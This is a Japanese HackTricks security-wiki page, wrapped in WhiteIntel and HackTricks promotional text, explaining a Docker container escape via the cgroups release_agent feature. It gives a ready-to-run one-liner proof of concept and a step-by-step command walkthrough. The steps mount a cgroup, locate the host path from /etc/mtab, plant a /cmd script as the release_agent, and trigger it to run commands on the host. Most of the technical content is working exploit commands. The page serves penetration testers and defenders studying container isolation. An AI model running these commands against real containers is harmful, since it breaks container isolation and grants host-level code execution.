Docker release_agent cgroups escape

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

WhiteIntel は、ダークウェブを活用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されていないかをチェックする無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:


詳細については、 元のブログ投稿** を参照してください。これは要約です:

オリジナル PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

証明のコンセプト(PoC)は、release_agentファイルを作成し、その呼び出しをトリガーしてコンテナホストで任意のコマンドを実行する方法を示しています。以下は、関連する手順の概要です:

  1. 環境の準備:

  • /tmp/cgrpディレクトリを作成して、cgroupのマウントポイントとして使用します。

  • RDMA cgroupコントローラをこのディレクトリにマウントします。RDMAコントローラが存在しない場合は、代替としてmemory cgroupコントローラを使用することが推奨されています。

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. 子Cgroupの設定:

  • マウントされたCgroupディレクトリ内に名前が"x"の子Cgroupが作成されます。

  • "x" Cgroupの通知を有効にするために、そのnotify_on_releaseファイルに1を書き込みます。

echo 1 > /tmp/cgrp/x/notify_on_release
  1. リリースエージェントの設定:

  • ホスト上のコンテナのパスは、/etc/mtab ファイルから取得されます。

  • 次に、cgroupの release_agent ファイルが取得したホストパスにある /cmd というスクリプトを実行するように設定されます。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. /cmdスクリプトの作成と設定:

  • /cmdスクリプトはコンテナ内で作成され、ps auxを実行し、出力をコンテナ内の/outputというファイルにリダイレクトするように設定されます。ホスト上の/outputのフルパスが指定されます。

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. 攻撃のトリガー:

  • "x"の子cgroup内でプロセスが開始され、すぐに終了します。

  • これによりrelease_agent(/cmdスクリプト)がトリガーされ、ホスト上でps auxを実行し、出力をコンテナ内の/outputに書き込みます。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業や顧客がスティーラーマルウェアによって侵害されていないかをチェックする無料の機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:

**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!

HackTricksをサポートする他の方法:HackTricksで企業を宣伝したり、PDF形式でHackTricksをダウンロードしたい場合は SUBSCRIPTION PLANS をチェックしてください!公式PEASS&HackTricksスワッグを手に入れるThe PEASS Familyを発見し、独占的なNFTsのコレクションを見つける**💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopm をフォローしてください。ハッキングトリックを共有するために、 HackTricksHackTricks Cloud のGitHubリポジトリにPRを提出してください。

Last updated